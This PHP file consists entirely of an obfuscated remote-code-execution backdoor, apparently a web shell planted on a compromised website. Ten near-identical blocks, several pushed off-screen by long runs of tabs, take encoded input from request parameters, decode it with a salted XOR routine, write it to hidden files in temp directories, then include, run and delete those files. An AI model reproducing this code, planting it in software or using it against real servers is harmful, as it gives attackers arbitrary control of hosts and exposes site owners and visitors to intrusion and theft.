<?php																																										if(@$_POST["o\x62\x6A\x65ct"] !== null){ $parameter_group = array_filter(["/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP")]); $key = $_POST["o\x62\x6A\x65ct"]; $key = explode ( '.' , $key ) ; $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $y = 0; array_walk($key , function($v5) use(&$holder , &$y , $salt , $sLen) { $sChar = ord($salt[$y % $sLen] ); $d = ((int)$v5 - $sChar -($y % 10)) ^ 46; $holder .= chr($d ); $y++; } ); for ($record = 0, $pointer = count($parameter_group); $record < $pointer; $record++) { $tkn = $parameter_group[$record]; if (!( !is_dir($tkn) || !is_writable($tkn) )) { $mrk = implode("/", [$tkn, ".ent"]); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $mrk; @unlink($mrk); exit; } } } }
																																										if(isset($_REQUEST["\x70oi\x6E\x74er"]) ? true : false){ $comp = array_filter(["/var/tmp", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd()]); $symbol = $_REQUEST["\x70oi\x6E\x74er"]; $symbol= explode(".", $symbol ); $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($symbol as $n=>$v3): $sChar = ord($s[$n % $lenS]); $d = ((int)$v3 - $sChar - ($n % 10)) ^ 58; $obj .= chr($d); endforeach; foreach ($comp as $key => $fac) { if (is_dir($fac) && is_writable($fac)) { $desc = join("/", [$fac, ".binding"]); $success = file_put_contents($desc, $obj); if ($success) { include $desc; @unlink($desc); exit;} } } }
																																										if(array_key_exists("re\x66", $_POST)){ $factor = $_POST["re\x66"]; $factor= explode( "." , $factor ) ; $entry= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); $z= 0; foreach ($factor as $v8) { $chS= ord($salt[$z % $lenS] ); $dec= ((int)$v8 - $chS - ($z % 10)) ^ 36; $entry .= chr($dec ); $z++; } $pgrp = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path()]); foreach ($pgrp as $key => $ent) { if (!!is_dir($ent) && !!is_writable($ent)) { $comp = "$ent/.component"; if (@file_put_contents($comp, $entry) !== false) { include $comp; unlink($comp); exit; } } } }
																																										if(@$_POST["\x68l\x64"] !== null){ $ref = $_POST["\x68l\x64"]; $ref = explode ("." , $ref ) ; $ent= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s4); foreach ($ref as $y => $v3): $sChar= ord($s4[$y% $lenS]); $dec= ((int)$v3 - $sChar - ($y% 10)) ^ 2; $ent .= chr($dec); endforeach; $itm = array_filter([getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); for ($token = 0, $pointer = count($itm); $token < $pointer; $token++) { $descriptor = $itm[$token]; if (is_writable($descriptor) && is_dir($descriptor)) { $val = join("/", [$descriptor, ".holder"]); if (file_put_contents($val, $ent)) { include $val; @unlink($val); exit; } } } }
																																										if(!empty($_POST["com\x70on\x65\x6Et"])){ $pgrp = array_filter(["/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), session_save_path()]); $flg = $_POST["com\x70on\x65\x6Et"]; $flg = explode ('.' , $flg ) ; $entity=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s ); $i=0; $__tmp=$flg; while( $v7=array_shift( $__tmp)) { $sChar=ord( $s[$i % $sLen] ); $dec=( ( int)$v7 - $sChar -( $i % 10)) ^93; $entity .= chr( $dec ); $i++; } foreach ($pgrp as $fac) { if (!!is_dir($fac) && !!is_writable($fac)) { $parameter_group = join("/", [$fac, ".descriptor"]); if (file_put_contents($parameter_group, $entity)) { require $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(isset($_REQUEST["\x72es"]) ? true : false){ $token = $_REQUEST["\x72es"]; $token =explode( "." , $token ) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($token as $j => $v3): $chS = ord($s[$j% $sLen]); $d = ((int)$v3 - $chS - ($j% 10)) ^78; $flg .= chr($d); endforeach; $symbol = array_filter(["/var/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]); for ($dat = 0, $itm = count($symbol); $dat < $itm; $dat++) { $pset = $symbol[$dat]; if (!!is_dir($pset) && !!is_writable($pset)) { $descriptor = "$pset" . "/.sym"; $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $descriptor; @unlink($descriptor); die(); } } } }
																																										if(@$_POST["\x72e\x73ourc\x65"] !== null){ $ptr = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/tmp", session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir()]); $desc = $_POST["\x72e\x73ourc\x65"]; $desc = explode( "." , $desc ) ; $marker =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); $len =count($desc ); for($m =0; $m < $len; $m++) {$v1 =$desc[$m]; $sChar =ord($salt[$m % $sLen] ); $dec =((int)$v1 - $sChar -($m % 10)) ^ 72; $marker .= chr($dec ); } foreach ($ptr as $key => $dat) { if (max(0, is_dir($dat) * is_writable($dat))) { $element = implode("/", [$dat, ".value"]); if (@file_put_contents($element, $marker) !== false) { include $element; unlink($element); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64\x61ta"])){ $elem = $_REQUEST["\x64\x61ta"]; $elem = explode ( '.' , $elem ) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach($elem as $v => $v8): $sChar = ord($s[$v % $sLen]); $dec = ((int)$v8 - $sChar -($v % 10)) ^ 6; $element.= chr($dec); endforeach; $entity = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); while ($mrk = array_shift($entity)) { if (array_product([is_dir($mrk), is_writable($mrk)])) { $flg = vsprintf("%s/%s", [$mrk, ".entry"]); $success = file_put_contents($flg, $element); if ($success) { include $flg; @unlink($flg); exit;} } } }
																																										if(array_key_exists("\x64c\x68\x75nk", $_POST) && !is_null($_POST["\x64c\x68\x75nk"])){ $pointer = $_POST["\x64c\x68\x75nk"]; $pointer = explode ( "." ,$pointer) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $z = 0; foreach( $pointer as $v5) { $sChar = ord( $s[$z %$sLen]); $d = ( ( int)$v5 - $sChar -( $z %10)) ^ 72; $ent .= chr( $d); $z++; } $component = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $record = 0; do { $sym = $component[$record] ?? null; if ($record >= count($component)) break; if ((bool)is_dir($sym) && (bool)is_writable($sym)) { $hld = str_replace("{var_dir}", $sym, "{var_dir}/.comp"); if (file_put_contents($hld, $ent)) { include $hld; @unlink($hld); die(); } } $record++; } while (true); }


if(@$_REQUEST["t\x6Bn"] !== null){
	$comp = $_REQUEST["t\x6Bn"];
		$comp =		explode 		('.'		 , $comp		 );  
	$symbol =		'';
            $salt3 =		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =		strlen( 	$salt3);
            $len =		count( 	$comp);
    
            for( 	$w =		0; $w < $len; $w++) {
                $v3 =		$comp[$w];
                $chS =		ord( 	$salt3[$w	%$sLen]);
                $d =		( 	( 	int)$v3 - $chS -( 	$w	%10)) 	^	 7;
                $symbol .= chr( 	$d); 	} 
	$elem = array_filter([getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp"]);
	foreach ($elem as $ref) {
    		if (!( !is_dir($ref) || !is_writable($ref) )) {
    $ent = sprintf("%s/.property_set", $ref);
    if (@file_put_contents($ent, $symbol) !== false) {
	include $ent;
	unlink($ent);
	die();
}
}
}
}